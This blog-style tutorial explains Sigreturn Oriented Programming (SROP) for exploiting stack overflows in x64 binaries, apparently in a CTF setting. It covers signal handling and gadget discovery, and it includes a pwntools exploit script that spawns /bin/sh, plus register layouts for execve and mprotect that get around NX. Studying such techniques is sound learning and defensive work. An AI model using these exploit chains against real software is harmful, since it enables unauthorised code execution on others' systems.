If you’re interested in binary exploitation, you may have heard of SROP (Sigreturn Oriented Programming), a technique that leverages a program’s signal handling mechanism to gain control over its execution flow. In this article, we’ll explore different methods to exploit a binary with SROP, and discuss a tool that can automate the process of finding the necessary elements for a successful SROP exploit.

Since its first presentation at the 35th Security and Privacy IEEE conference in 2014, the SROP method has been the subject of several papers, as well as numerous CTF challenges, however, it remains difficult to find a comprehensive paper on this topic, so this will be the focus of this article.

We will cover (probably not exhaustively) the different ways that can be used to exploit a x64/x86 binary using the SROP method.

  1. How does it works?
  2. Why using this technique?
  3. The different ways to set the eax register to 0xf
  4. Exemples of custom sigcontexts

🧐 How does it works?

In order to understand how SROP works, we must first understand what happens when a signal occurs in a Unix-like system.

Signals are not the subject of this article, but you can find what you need to understand the following here

📡 What happens when a signal occurs:

  • the execution of the process will be paused by the kernel in order to jump to a routine that will handle the signal.
  • In order to safely resume execution after the handler, the context of this process is pushed to be saved on the stack (registers, flags, instruction pointer, stack pointer…). the context takes the form of a “sigcontext” structure whose details can be found here
sigcontext
  • sigreturn() is called once the handler is finished. the process context is restored from the stack and the stack values are removed.

now that we know all this, we can use this system to exploit a binary.

-> We need three things for a good SROP:

  • First, a buffer overflow vulnerability
  • A way to put the value 0xf into the eax register
  • a syscall; ret gagdet

🤔 Why using this technique?

  • This method allows to build an exploit with a very limited number of gagdets (ROP)
  • It’s much easier to control the execution context (registers status) than with a classical ROP
  • SROP exploits are usually portable across different binaries with minimal or no effort and allow easily setting the contents of the registers
  • Because we can 😉

🔍 The different ways to set the eax register to 0xf

The trivial case: we have a mov eax, 0xf gagdet

the case where this gadget is present in the binary is the simplest to exploit, since it will allow us to place 0xf into the eax register in a single action, no need to chain ROP gadgets.

Exemple :

We start by searching the different ROP gadgets present in the binary with the ROPgadget tool

    $ ~ ROPgadget --binary trivial
    Gadgets information
    ============================================================
    [...]
    0x0000000000001139 : syscall ; ret
    [...]
    0x0000000000001143 : mov eax, 0xf ; ret
    [...]

With these two gadgets, building an exploit becomes very simple

Here is the structure of our exploit.

Padding until we reach the saved rip
address of the mov eax, 0xf ; ret gadget ( 0x0000000000001143 )
address of the syscall ; ret gadget ( 0x0000000000001139 )
SigContext structure with the desired parameters
Using thepop eax; ret gadget

This case is a “variant” of the previous one where it is still rather simple to put the value 0xf in the eax register

Example :

    $ ~ ROPgadget --binary pop_eax
    Gadgets information
    ============================================================
    [...]
    0x000000000040101b : syscall ; ret
    [...]
    0x0000000000401020 : pop eax ; ret
    [...]

Here is the structure of our exploit.

Padding until we reach the saved rip
address of the pop eax ; ret gadget ( 0x0000000000401020 )
0xf (sigreturn syscall number)
address of the syscall ; ret gadget ( 0x000000000040101b )
SigContext structure with the desired parameters

example of a python exploit by mishrasunny174

#!/usr/bin/env python2
from pwn import *
context.arch = 'amd64'
offset = 0x48
padding = 'A'*offset
pop_rax = 0x0000000000401020 #pop rax, ret gadget
syscall = 0x000000000040101b #syscall gadget
bin_sh = 0x0000000000402000 #bin_sh location in binary
p = process('./srop')
payload = padding
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rip = syscall
payload += str(frame)
p.sendline(payload)
p.interactive()

The author of the exploit uses the presence of the string /bin/sh in the binary by passing it as a parameter to the execve function via the rdi register, but it is obviously possible to use many other methods.

Use the read syscall to set the eax register to 0xf

An interesting thing to know is that the read syscall records the number of bytes read into the eax register.

There are two methods to set the value 0xf in eax using the read syscall:

Using the mov eax, 0x0 gadget
Padding until we reach the saved rip
address of the mov eax, 0x0; ret gadget
address of the syscall; ret gadget

Then we send a 15 bytes (0xf -> 15 in decimal) string to the binary, which will allow us to place the value 0xf in eax

And finally :

address of the syscall; ret gadget
SigContext structure with the desired parameters
Using the pop eax gadget
Padding until we reach the saved rip
address of the pop eax; ret gadget
0x0 (read syscall number)
address of the syscall; ret gadget

Then we send a 15 bytes string to the binary, which will allow us to place the value 0xf in eax

And finally :

address of the syscall; ret gadget
SigContext structure with the desired parameters

🪧 Exemples of custom sigcontexts

Once you have figured out how to call the sigreturn syscall, you need to figure out how to get a shell through the context that will be restored from the stack.

If the binary contains the /bin/sh string

The idea is to call the execve function ( syscall 0x3b -> 59 in decimal ) with the string /bin/sh as parameter which will give us a shell. The string /bin/sh can either be present in the binary or you can write it in a memory area whose you know the address.

Register value
rip syscall instruction address
rax 0x3b (execve syscall)
rdi address of /bin/sh
rsi 0x0 (NULL)
rdi 0x0 (NULL)
Use mprotect

mprotect : set protection on a region of memory

We use mprotect to make a memory area of our choice executable and writable to allow shellcode execution at that address. Then we shift the stack to that area so we can easily write data to it. We put in rsp the address containing the entry point of the program to ensure a normal controlflow. We can then arrange to redirect the program to the shellcode address, which will be executed despite the NX protection.

Register value
rax 0xa (mprotect syscall)
rdi shellcode address
rsi size (0x1000 for exemple)
rdx 0x7 -> mode (rwx)
rsp entrypoint (new stack)
rip address of the syscall; ret gadget

⬇️ To go further

🤟 Thanks for reading!

for more informations or suggestions, you can contact me at : r0g3r5@protonmail.com, or on twitter at @Rog3rSm1th